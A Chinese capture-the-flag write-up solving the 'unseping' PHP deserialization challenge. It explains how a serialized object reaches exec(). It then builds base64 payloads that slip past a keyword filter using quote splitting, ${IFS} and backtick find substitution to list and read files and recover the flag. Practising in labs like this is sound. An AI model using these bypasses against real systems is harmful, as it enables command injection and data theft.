攻防世界WEB(新手模式)20-unseping
好了咯,定睛一看php反序列化的题。那首先第一步我们肯定是审一下代码
<?php
highlight_file(__FILE__); // 显示当前文件的源代码class ease{private $method; // 存储要调用的方法名private $args; // 存储方法调用的参数数组function __construct($method, $args) {$this->method = $method;$this->args = $args;}// 析构函数 - 对象销毁时自动调用function __destruct(){if (in_array($this->method, array("ping"))) { // 检查method是否在允许列表中(目前只有"ping")call_user_func_array(array($this, $this->method), $this->args); // 调用指定方法}} // ping方法 - 执行系统命令function ping($ip){exec($ip, $result); // 执行系统命令,存在命令注入风险var_dump($result); // 输出命令执行结果}// WAF(Web应用防火墙)方法 - 过滤危险字符function waf($str){// 使用正则过滤危险字符和命令if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str; // 如果没有匹配到危险字符,返回原字符串} else {echo "don't hack"; // 否则输出警告}}// __wakeup魔术方法 - 反序列化时自动调用function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v); // 对每个参数进行WAF过滤}}
}// 从POST请求获取ctf参数
$ctf=@$_POST['ctf'];
// 对ctf参数进行base64解码后反序列化
@unserialize(base64_decode($ctf));
?>
那么其实代码的含义是只能调用ping方法,对于其他的一些命令会被过滤掉。
$ctf = @$_POST['ctf'];
@unserialize(base64_decode($ctf));
这两句的处理流程:
-
base64_decode($ctf)
:将 base64 编码的字符串解码为原始数据。 -
unserialize()
:将解码后的数据反序列化为 PHP 对象。
那么我们在写脚本的时候就需要先对命令转化成序列化格式,然后再进行base64加密。
脚本如下,ls命令需要绕过
<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
$c = base64_encode($b);
echo "\n";
echo $c;
?>
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:4:"l""s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
ok当然你也可以选择不输出反序列化内容。
接下来我用的是bp,需要更改三个地方。
1、修改post请求,原先是get
2、添加头部,一遍服务器可以解析post数据
Content-Type: application/x-www-form-urlencoded
3、添加payload,记得加ctf=
那么现在,我们去查看flag_1s_here文件,只需要修改脚本中的命令就可以了。(把箭头删掉,替换成框框里面的)
$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
同理得到,反序列化数据和base64编码后结果。
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
修改bp请求包
ok接着查看这个php文件就可以了,弹药想想则呢么绕过,因为上面代码中把我们的cat、tac命令都给过滤了。这里看了视频受到启发,不用拘泥于一定要cat某个文件,直接cat `find`读取所有文件。
【攻防世界】1061-unseping_哔哩哔哩_bilibili
生成对应paylaod
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319
就可以成功读取到flag
cyberpeace{483b2ff67ffb8137bc95b6d8f0a560a0}
OWASP就比较方便使用了~